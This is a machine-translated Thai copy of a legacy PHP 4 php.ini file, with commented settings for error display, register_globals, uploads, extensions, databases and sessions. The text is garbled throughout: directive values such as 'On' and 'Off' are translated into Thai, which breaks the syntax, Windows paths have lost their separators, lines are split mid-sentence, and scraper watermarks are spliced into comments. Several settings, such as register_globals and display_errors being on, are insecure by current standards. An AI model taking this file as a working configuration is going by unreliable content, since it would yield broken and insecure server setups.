; E_NOTICE - การแจ้งเตือนรันไทม์ (สิ่งเหล่านี้มักเกิดจากข้อบกพร่องในโค้ดของคุณ
; นอกจากนี้ยังอาจเกิดจากพฤติกรรมโดยเจตนา (เช่น: การใช้ตัวแปรที่ไม่ได้เตรียมใช้งานโดยอิงจาก
ข้อเท็จจริงที่ว่าตัวแปรที่ไม่ได้เตรียมใช้งานนั้นถูกเตรียมใช้งานเป็นสตริงว่างโดยอัตโนมัติ)
E_CORE_ERROR - ข้อผิดพลาดร้ายแรงที่เกิดขึ้นระหว่างกระบวนการเริ่มต้นเมื่อ PHP เริ่มทำงาน
; E_CORE_WARNING - คำเตือน (ข้อผิดพลาดที่ไม่ร้ายแรง) ที่เกิดขึ้นระหว่างกระบวนการเริ่มต้นเมื่อ PHP เริ่มทำงาน
; E_COMPILE_ERROR - ข้อผิดพลาดร้ายแรงในการคอมไพล์
; E_COMPILE_WARNING - คำเตือนเวลาคอมไพล์ (ข้อผิดพลาดที่ไม่ร้ายแรง)
; E_USER_ERROR - ข้อความแสดงข้อผิดพลาดที่ผู้ใช้สร้างขึ้น
; E_USER_WARNING - ข้อความเตือนที่ผู้ใช้สร้างขึ้น
; E_USER_NOTICE - ข้อความเตือนที่ผู้ใช้สร้างขึ้น
; ตัวอย่าง:
; error_reporting = E_ALL & ~E_NOTICE ; แสดงข้อผิดพลาดทั้งหมดยกเว้นการแจ้งเตือน
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; แสดงข้อผิดพลาดเท่านั้น
error_reporting = E_ALL & ~E_NOTICE ; แสดงข้อผิดพลาดทั้งหมดยกเว้นการแจ้งเตือน
display_errors = เปิด ; แสดงข้อความแสดงข้อผิดพลาด (เป็นส่วนหนึ่งของเอาต์พุต)
; ในเว็บไซต์ที่เผยแพร่ครั้งสุดท้าย ขอแนะนำอย่างยิ่งให้คุณปิดคุณสมบัตินี้และใช้งาน
; บันทึกข้อผิดพลาดแทน (ดูด้านล่าง)
; เป็นไปได้ที่จะเปิดใช้งาน display_errors ต่อไปในเว็บไซต์ที่เผยแพร่ขั้นสุดท้าย
เปิดเผยข้อมูลที่เกี่ยวข้องกับความปลอดภัย เช่น เส้นทางไฟล์บนเว็บเซอร์วิสของคุณ
; การกำหนดค่าฐานข้อมูลของคุณหรือข้อมูลอื่น ๆ
display_startup_errors = ปิด ; เกิดขึ้นระหว่างขั้นตอนการเริ่มต้น PHP แม้ว่าจะเปิด
; ข้อผิดพลาดจะไม่ปรากฏ
ขอแนะนำอย่างยิ่งให้ปิด display_startup_errors ไว้
; ยกเว้นในระหว่างกระบวนการแก้ไขข้อผิดพลาด
log_errors = Off ; บันทึกข้อผิดพลาดในไฟล์บันทึก (บันทึกเฉพาะเซิร์ฟเวอร์ เอาต์พุตข้อผิดพลาดมาตรฐาน stderr หรือ error_log (ด้านล่าง))
; ตามที่ระบุไว้ข้างต้น ขอแนะนำอย่างยิ่งให้คุณบันทึกข้อผิดพลาดบนเว็บไซต์ที่เผยแพร่ขั้นสุดท้าย
; แทนที่เอาต์พุตข้อผิดพลาดโดยตรง
track_errors = Off ; บันทึกข้อผิดพลาด/ข้อความเตือนล่าสุดในตัวแปร $php_errormsg (boolean)
;error_prepend_string = "<font color=ff0000>" ; เอาต์พุตสตริงก่อนข้อความแสดงข้อผิดพลาด
;error_append_string = "</font>" ; เอาต์พุตสตริงหลังข้อความแสดงข้อผิดพลาด
;error_log = ชื่อไฟล์ ; บันทึกบันทึกข้อผิดพลาดไปยังไฟล์ที่ระบุ
;error_log = syslog ; บันทึกบันทึกข้อผิดพลาดในบันทึกระบบ syslog (บันทึกเหตุการณ์ภายใต้ NT ไม่ถูกต้องใน Windows 95)
warn_plus_overloading = ปิด ; เตือนเมื่อใช้ '+' กับสตริง
-
การจัดการข้อมูล ;
;;;;;;;;;;;;;;;;; Variables_order = "EGPCS" ;
; ลำดับของ GET, POST, คุกกี้, สภาพแวดล้อม และตัวแปรบิวท์อิน
; (แสดงโดย G, P, C, E & S โดยปกติจะอ้างอิงเป็น EGPCS หรือ GPC)
; บันทึกจากซ้ายไปขวา ค่าใหม่จะแทนที่ค่าเก่า
register_globals = เปิด ว่าจะลงทะเบียนตัวแปร EGPCS เหล่านี้เป็นตัวแปรส่วนกลางหรือไม่
; คุณอาจต้องการปิดสิ่งนี้หากคุณไม่ต้องการให้ข้อมูลผู้ใช้เกะกะทั่วโลก
; สิ่งนี้สมเหตุสมผลมากกว่าเมื่อใช้ร่วมกับ track_vars - วิธีนี้คุณสามารถผ่านได้
; $HTTP_*_VARS[] เข้าถึงตัวแปร GPC ทั้งหมด
register_argc_argv = On ; คำสั่งนี้จะบอก PHP ว่าจะประกาศตัวแปร argv และ argc หรือไม่
; (หมายเหตุ: ในที่นี้ argv คืออาร์เรย์ และ argc คือจำนวนของตัวแปร)
; (ซึ่งมีข้อมูลที่ส่งผ่านโดยใช้วิธี GET)
; หากคุณไม่ต้องการใช้ตัวแปรเหล่านี้ คุณควรปิดเพื่อปรับปรุงประสิทธิภาพ
track_vars = On ; ทำให้ $HTTP_*_VARS[] อาร์เรย์ถูกต้อง ที่นี่ * จะถูกใช้เมื่อใช้
; ENV, POST, GET, COOKIE หรือเซิร์ฟเวอร์
post_max_size = 8M ขนาดสูงสุดของข้อมูล POST ที่ PHP จะยอมรับ
เลิก
ใช้แล้ว
magic_quotes_gpc = เปิด ; ใช้เครื่องหมายอัญประกาศวิเศษในการป้อนข้อมูล GET/POST/คุกกี้
; (ข้อความต้นฉบับเป็นเช่นนี้ 555 เครื่องหมายคำพูดวิเศษควรหมายถึงการใช้อักขระหลีกเพื่อเพิ่มอักขระควบคุมอ้างอิง เช่น '....)
magic_quotes_runtime= ปิด ; ใช้เครื่องหมายคำพูดวิเศษสำหรับข้อมูลที่สร้างขึ้นตอนรันไทม์
; ตัวอย่างเช่น: ข้อมูลที่ได้รับจากการสืบค้น SQL, ข้อมูลที่ได้รับจากฟังก์ชัน exec() เป็นต้น
magic_quotes_sybase = Off ; ใช้เครื่องหมายอัญประกาศสไตล์ Sybase (ใช้ 'แยก' แทน '')
; เพิ่มไฟล์โดยอัตโนมัติก่อนและหลังเอกสาร PHP
auto_prepend_file =
auto_append_file =
; เช่นเดียวกับ 4.04b4 โดยค่าเริ่มต้น PHP จะส่งออกการเข้ารหัสอักขระในส่วนหัว "Content-type:" เสมอ
; ปิดใช้งานชุดอักขระเอาท์พุตตราบใดที่ตั้งค่าเป็นว่าง
; ค่าเริ่มต้นในตัวของ PHP คือ text/html
default_mimetype = "ข้อความ/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; เส้นทางและไดเรกทอรี ;
-
include_path = ; รวมการตั้งค่าเส้นทาง UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; เส้นทางรูทของหน้า php ใช้ได้เฉพาะเมื่อไม่ว่าง
เท่านั้น
;upload_tmp_dir = ; ไดเร็กทอรีชั่วคราวสำหรับจัดเก็บไฟล์ที่อัพโหลดโดยใช้โปรโตคอล HTTP (ใช้ค่าเริ่มต้นของระบบหากไม่ได้ระบุ)
upload_max_filesize = 2097152 ; การอัพโหลดไฟล์ถูกจำกัดไว้ที่ 2 Meg ตามค่าเริ่มต้น
extension_dir = c:php ; ไดเร็กทอรีที่เก็บไลบรารีส่วนขยาย (โมดูล) ที่โหลดได้
Enable_dl = เปิด ; ไม่ว่าจะเปิดใช้งาน dl()
; ฟังก์ชัน dl() *ทำงานได้ไม่ดีบนเซิร์ฟเวอร์แบบมัลติเธรด
; เช่น IIS หรือ Zeus และปิดใช้งานตามค่าเริ่มต้น
-
; อัพโหลดไฟล์ ;
-
file_uploads = เปิด; ว่าจะอนุญาตให้อัพโหลดไฟล์ HTTP หรือไม่
;upload_tmp_dir = ; ไดเร็กทอรีชั่วคราวสำหรับไฟล์ที่อัพโหลดผ่าน HTTP (จะใช้ค่าเริ่มต้นของระบบหากไม่ได้ระบุ)
upload_max_filesize = 2M; ขนาดไฟล์สูงสุดที่อนุญาต
;
-
Allow_url_fopen = เปิด ; จะอนุญาตให้ URL ถือเป็น http:.. หรือไฟล์เป็น ftp:...
-
;การขยายตัวแบบไดนามิก;
ส่วนขยายแบบไดนามิก ;
-
; หากคุณต้องการให้ไลบรารีส่วนขยายถูกโหลดโดยอัตโนมัติ ให้ใช้ไวยากรณ์ต่อไปนี้:
; ส่วนขยาย=ชื่อโมดูล.ส่วนขยาย
; ตัวอย่างเช่น บน Windows
; นามสกุล=msql.dll
; หรือภายใต้ UNIX
; ส่วนขยาย=msql.so
; โปรดทราบว่านี่ควรเป็นชื่อของโมดูลเท่านั้น ไม่จำเป็นต้องใส่ข้อมูลไดเร็กทอรีลงไป
; ใช้ extension_dir ด้านบนเพื่อระบุตำแหน่งของไลบรารีส่วนขยายที่ระบุ
; ส่วนขยายของ Windows
;extension=php_nsmail.dll
ส่วนขยาย=php_calendar.dll
;ส่วนขยาย=php_dbase.dll
;extension=php_filepro.dll
ส่วนขยาย=php_gd.dll
;ส่วนขยาย=php_dbm.dll
;ส่วนขยาย=php_mssql.dll
;ส่วนขยาย=php_zlib.dll
;extension=php_filepro.dll
;ส่วนขยาย=php_imap4r2.dll
;extension=php_ldap.dll
;ส่วนขยาย=php_crypt.dll
;ส่วนขยาย=php_msql2.dll
;extension=php_odbc.dll
; โปรดทราบว่าขณะนี้รองรับ MySQL ในตัวแล้ว ดังนั้นจึงไม่จำเป็นต้องใช้ dll
;;;;;;;;;;;;;;;;;;;
; การตั้งค่าโมดูล
; การตั้งค่าโมดูล ;
;;;;;;;;;;;;;;;;;;;;
[Syslog]
Define_syslog_variables = ปิด; จะกำหนดตัวแปรบันทึกของระบบต่างๆ หรือไม่
; เช่น: $LOG_PID, $LOG_CRON เป็นต้น
การปิดเครื่องเป็นความคิดที่ดีเพื่อปรับปรุงประสิทธิภาพ
; ณ รันไทม์ คุณสามารถเรียกใช้ฟังก์ชัน Define_syslog_variables() เพื่อกำหนดตัวแปรเหล่านี้
[ฟังก์ชันเมล]
SMTP = localhost ; สำหรับระบบ win32 เท่านั้น
sendmail_from [email protected] ; สำหรับระบบ win32 เท่านั้น
;sendmail_path = ;สำหรับ Unix เท่านั้น รองรับพารามิเตอร์ด้วย (ค่าเริ่มต้นคือ 'sendmail -t -i')
[ดีบักเกอร์]
ดีบักเกอร์.โฮสต์ = localhost
ดีบักเกอร์พอร์ต = 7869
debugger.enabled = False
[การบันทึก]
การกำหนดค่าเหล่านี้ระบุถึงกลไกการบันทึกที่ใช้สำหรับตัวอย่าง
; ดูตัวอย่าง/README.loggingสำหรับคำอธิบายเพิ่มเติม
;logging.method = db
;logging.directory = /path/to/log/directory
[Java]
;java.class.path = .php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinฮอตสปอตjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = ปิด
[ODBC]
;uodbc.default_db = ยังไม่ได้ใช้งาน
;uodbc.default_user = ยังไม่ได้ใช้งาน
;uodbc.default_pw = ยังไม่ได้ใช้งาน
uodbc.allow_persistent = เปิด ; อนุญาตหรือปิดใช้งานการเชื่อมต่อแบบถาวร
uodbc.check_persistent = เปิด ; ตรวจสอบว่าการเชื่อมต่อยังคงมีอยู่หรือไม่ก่อนนำมาใช้ใหม่
uodbc.max_persistent = -1; จำนวนการเชื่อมต่อสูงสุด -1 หมายถึงไม่จำกัด
uodbc.max_links = -1; จำนวนการเชื่อมต่อสูงสุด (ถาวรและไม่ถาวร) -1 หมายถึงการจัดการเครือข่ายไม่จำกัด u.bitsCN.com
uodbc.defaultlrl = 4096; ควบคุมฟิลด์ประเภท LONG ส่งกลับจำนวนไบต์ของตัวแปร 0 หมายถึง passthru (?) 0 หมายถึง passthru
uodbc.defaultbinmode = 1; ควบคุมข้อมูลไบนารี่ 0 หมายถึง ???การจัดการข้อมูลไบนารี่
; ดูเอกสารประกอบสำหรับ odbc_binmode และ odbc_longreadlen สำหรับคำอธิบายของ uodbc.defaultlrl และ uodbc.defaultbinmode
[MySQL]
mysql.allow_persistent = เปิด ; อนุญาตหรือปิดใช้งานการเชื่อมต่อแบบถาวร
mysql.max_persistent = -1; จำนวนการเชื่อมต่อสูงสุด -1 หมายถึงไม่จำกัด
mysql.max_links = -1 ; จำนวนการเชื่อมต่อสูงสุด (ถาวรและไม่ถาวร) -1 หมายถึงไม่จำกัด
mysql.default_port = ; พอร์ตเริ่มต้นที่ใช้โดย mysql_connect() หากไม่ได้ตั้งค่าไว้ mysql_connect()
; จะใช้ตัวแปร $MYSQL_TCP_PORT หรือรายการ mysql-tcp ภายใต้ /etc/services (unix)
; หรือ MYSQL_PORT ถูกกำหนดไว้ระหว่างการคอมไพล์ (ตามลำดับนี้)
; สภาพแวดล้อม Win32 เฉพาะ MYSQL_PORT เท่านั้นที่จะถูกตรวจสอบ
mysql.default_socket = ; ชื่อซ็อกเก็ตเริ่มต้นที่ใช้สำหรับการเชื่อมต่อ MySql ในเครื่อง หากว่างเปล่า ให้ใช้ค่า MYSQL ในตัว
mysql.default_host
= ;
mysql_connect () ชื่อผู้ใช้ที่ใช้เป็นค่าเริ่มต้น (ไม่ถูกต้องในเซฟโหมด)
mysql.default_password = ; รหัสผ่านที่ใช้โดย mysql_connect() เป็นค่าเริ่มต้น (ไม่ถูกต้องในเซฟโหมด)
; โปรดทราบว่าการบันทึกรหัสผ่านภายใต้ไฟล์นี้โดยทั่วไปถือเป็นแนวคิดที่ *ไม่ดี*
; *ใครก็ได้* ที่สามารถเข้าถึง PHP สามารถทำงานได้
; 'echo cfg_get_var("mysql.default_password")' เพื่อแสดงรหัสผ่านนั้น!
; และแน่นอนว่า ผู้ใช้ที่มีสิทธิ์อ่านไฟล์จะสามารถเห็นรหัสผ่านนั้น
ได้
msql.allow_persistent = เปิด ; อนุญาตหรือปิดใช้งานการเชื่อมต่อแบบถาวร
msql.max_persistent = -1; จำนวนการเชื่อมต่อสูงสุด -1 หมายถึงไม่จำกัด
msql.max_links = -1 ; จำนวนการเชื่อมต่อสูงสุด (ถาวรและไม่ถาวร) -1 หมายถึงไม่จำกัด
[PostgresSQL]
pgsql.allow_persistent = เปิด ; อนุญาตหรือปิดใช้งานการเชื่อมต่อแบบถาวร
pgsql.max_persistent = -1; จำนวนการเชื่อมต่อสูงสุด -1 หมายถึงไม่จำกัด
pgsql.max_links = -1 ; จำนวนการเชื่อมต่อสูงสุด (ถาวรและไม่ถาวร) -1 หมายถึงไม่จำกัด
[Sybase]
sybase.allow_persistent = เปิด อนุญาตหรือปิดใช้งานการเชื่อมต่อแบบถาวร
sybase.max_persistent = -1; จำนวนการเชื่อมต่อแบบถาวรสูงสุด
sybase.max_links = -1; จำนวนการเชื่อมต่อสูงสุด (ถาวรและไม่ถาวร)
;sybase.interface_file = "/usr/sybase/อินเทอร์เฟซ"
sybase.min_error_severity = 10 ; ความรุนแรงขั้นต่ำของข้อผิดพลาดที่แสดง
sybase.min_message_severity = 10 ; ความรุนแรงขั้นต่ำของข้อความที่แสดง
sybase.compatability_mode = Off ; โหมดความเข้ากันได้กับ PHP 3.0 เวอร์ชันเก่า หากเปิดใช้งาน จะทำให้ PHP ทำงานโดยอัตโนมัติ
กำหนดประเภท Sybase ตามผลลัพธ์
; แทนที่จะปฏิบัติต่อสิ่งเหล่านั้นทั้งหมดเหมือนเป็นสตริง
; โหมดความเข้ากันได้นี้จะไม่คงอยู่ตลอดไป
ดังนั้น ให้ทำการเปลี่ยนแปลงโค้ดของคุณที่จำเป็น
; และปิดรายการ
[Sybase-CT]
sybct.allow_persistent = เปิด ; อนุญาตหรือปิดใช้งานการเชื่อมต่อแบบถาวร
sybct.max_persistent = -1; จำนวนการเชื่อมต่อสูงสุด -1 หมายถึงไม่จำกัด
sybct.max_links = -1 ; จำนวนการเชื่อมต่อสูงสุด (ถาวรและไม่ถาวร)
sybct.min_server_severity = 10 ; ความรุนแรงขั้นต่ำของข้อผิดพลาดที่แสดง
sybct.min_client_severity = 10 ; ความรุนแรงขั้นต่ำของข้อความที่แสดง
[bcmath]
bcmath.scale = 0 ; จำนวนหลักทศนิยมสำหรับฟังก์ชัน bcmath ทั้งหมด
[browscap]
;browscap = พิเศษ/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[อินฟอร์มิกซ์]
ifx.default_host = ; โฮสต์ที่ใช้โดย ifx_connect() เป็นค่าเริ่มต้น (ไม่ถูกต้องในเซฟโหมด)
ifx.default_user = ; ชื่อผู้ใช้เริ่มต้นที่ใช้โดย ifx_connect() (ไม่ถูกต้องในเซฟโหมด)
ifx.default_password = ; รหัสผ่านเริ่มต้นที่ใช้โดย ifx_connect() (ไม่ถูกต้องในเซฟโหมด)
ifx.allow_persistent = เปิด ; อนุญาตหรือปิดใช้งานการเชื่อมต่อแบบถาวร
ifx.max_persistent = -1 ; จำนวนการเชื่อมต่อสูงสุด -1 หมายถึงไม่จำกัด
ifx.max_links = -1 ; จำนวนการเชื่อมต่อสูงสุด (ถาวรและไม่ถาวร)
ifx.textasvarchar = 0 ; หากเปิดใช้งาน สัญลักษณ์สถานะที่เลือกจะส่งกลับเนื้อหาของฟิลด์ 'text blob' แทนที่จะเป็น id
ifx.byteasvarchar = 0 ; หากเปิดใช้งาน สัญลักษณ์สถานะการเลือกจะส่งกลับเนื้อหาของฟิลด์ 'byte blob' แทนที่จะเป็น id
ifx.charasvarchar = 0 ; ติดตามช่องว่างที่แยกออกจากสตริงอักขระที่มีความยาวคงที่
; อาจใช้ได้สำหรับผู้ใช้ Informix SE
ifx.blobinfile = 0 ; หากเปิดใช้งาน เนื้อหาของข้อความและไบต์จะถูกส่งออกไปยังไฟล์
; แทนที่จะบันทึกลงหน่วยความจำ
ifx.nullformat = 0 ; จะถูกส่งกลับเป็นฟิลด์ null เว้นแต่ว่าในที่นี้จะตั้งค่าเป็น 1
; ในกรณีนี้ (1) NULL จะถูกส่งกลับเป็นสตริง
NULL
session.save_handler = ไฟล์ วิธีการควบคุมสำหรับการบันทึก/การดึงข้อมูล
session.save_path = C:wintemp; พารามิเตอร์ที่ส่งผ่านไปยังคอนโทรลเลอร์เมื่อตั้งค่า save_handler เป็นไฟล์
; นี่คือเส้นทางที่จะบันทึกไฟล์ข้อมูล
session.use_cookies = 1; จะใช้คุกกี้หรือไม่
session.name = PHPSESSID
; ชื่อของเซสชันที่จะใช้ในคุกกี้
session.auto_start = 0 ; เริ่มต้นเซสชันเมื่อคำขอเริ่มต้น
session.cookie_lifetime = 0; คือเวลาจัดเก็บคุกกี้ในหน่วยวินาที
; หรือ 0 จนกว่าเบราว์เซอร์จะรีสตาร์ท
session.cookie_path = / ; เส้นทางที่ถูกต้องของคุกกี้
session.cookie_domain = ; โดเมนที่ถูกต้องของคุกกี้
session.serialize_handler = php; คอนโทรลเลอร์ที่ใช้ในการเชื่อมต่อข้อมูล
; php เป็นตัวควบคุมมาตรฐานสำหรับ PHP
session.gc_probability = 1 ; ประมวลผล 'การรวบรวมขยะ' ตามเปอร์เซ็นต์
; ความเป็นไปได้ในการเริ่มต้นทุกเซสชันจะถูกเตรียมใช้งาน
session.gc_maxlifetime = 1440 ; หลังจากจำนวนวินาทีที่ระบุด้วยตัวเลขนี้ ข้อมูลที่บันทึกไว้จะได้รับการพิจารณา
; 'แฟรกเมนต์ (ขยะ)' และทำความสะอาดโดยกระบวนการ gc
session.referer_check = ; ตรวจสอบผู้อ้างอิง HTTP เพื่อทำให้รหัสเพิ่มเติมที่รวมอยู่ใน URL เป็นโมฆะ
session.entropy_length = 0 ; จำนวนไบต์ที่จะอ่านจากไฟล์
session.entropy_file = ; ระบุที่นี่เพื่อสร้างรหัสเซสชัน
; session.entropy_length = 16
; session.entropy_file = /dev/urandom
session.cache_limiter = nocache; ตั้งค่าเป็น {nocache, ส่วนตัว, สาธารณะ} เพื่อกำหนด HTTP
ปัญหาการแคช
session.cache_expire = 180 ; เอกสารจะหมดอายุหลังจาก n นาที
session.use_trans_sid = 1 ; ใช้การสนับสนุน SID เฉพาะกาล หากเปิดใช้งานในเวลาคอมไพล์
; --enable-ทรานส์-sid
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
;ส่วนขยาย=php_mssql.dll
mssql.allow_persistent = เปิด ; อนุญาตหรือปิดใช้งานการเชื่อมต่อแบบถาวร
mssql.max_persistent = -1; จำนวนการเชื่อมต่อสูงสุด -1 หมายถึงไม่จำกัด
mssql.max_links = -1; จำนวนการเชื่อมต่อสูงสุด (ถาวรและไม่ถาวร) -1 หมายถึงการจัดการเครือข่ายไม่จำกัด u.bitsCN.com
mssql.min_error_severity = 10 ; ความรุนแรงขั้นต่ำของข้อผิดพลาดที่แสดง
mssql.min_message_severity = 10 ; ความรุนแรงขั้นต่ำของข้อความที่แสดง
mssql.compatability_mode = ปิด ; โหมดที่เข้ากันได้กับ PHP 3.0 เวอร์ชัน
เก่า
- - - - -
;assert.active = เปิด ; assert(expr); ใช้งานเป็นค่าเริ่มต้น
;assert.warning = On ; ออกคำเตือน PHP สำหรับแต่ละการยืนยันที่ล้มเหลว
;assert.bail = ปิด ; ไม่ต้องประกันตัวตามค่าเริ่มต้น
;assert.callback = 0 ; ฟังก์ชันผู้ใช้จะถูกเรียกหากการยืนยันล้มเหลว
;assert.quiet_eval = 0 ; ประเมินนิพจน์ด้วย error_reporting() ปัจจุบัน ตั้งค่าเป็นจริงหากคุณต้องการ error_reporting(0) รอบ ๆ eval(
)
ii.allow_persistent = เปิด ; อนุญาตหรือปิดใช้งานการเชื่อมต่อแบบถาวร
ii.max_persistent = -1; จำนวนการเชื่อมต่อสูงสุด -1 หมายถึงไม่จำกัด
ii.max_links = -1 ; จำนวนการเชื่อมต่อสูงสุด (ถาวรและไม่ถาวร) -1 หมายถึงไม่จำกัด
ii.default_database = ; ฐานข้อมูลเริ่มต้น (รูปแบบ: [node_id::]dbname[/srv_class]
ii.default_user = ;ผู้ใช้เริ่มต้น
ii.default_password = ; รหัสผ่านเริ่มต้น ดาวน์โหลดการจัดการเครือข่าย dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" ; เซิร์ฟเวอร์ Signio เริ่มต้น
pfpro.defaultport = 443; พอร์ตเริ่มต้นสำหรับการเชื่อมต่อ
pfpro.defaulttimeout = 30 ; การหมดเวลาเริ่มต้นเป็นวินาที
; pfpro.proxyaddress = ;
; pfpro.proxyport = ;
; pfpro.proxylogon = ; ล็อกอินพร็อกซีเริ่มต้น (ชื่อผู้ใช้สำหรับการเข้าสู่ระบบ)
; pfpro.proxypassword =
;
sockets.use_system_read = On; ใช้ฟังก์ชัน read() ของระบบแทนแพ็คเกจ php_read()
; ตัวแปรท้องถิ่น: (ตัวแปรท้องถิ่น)
; ความกว้างของแท็บ: 4
; จบ: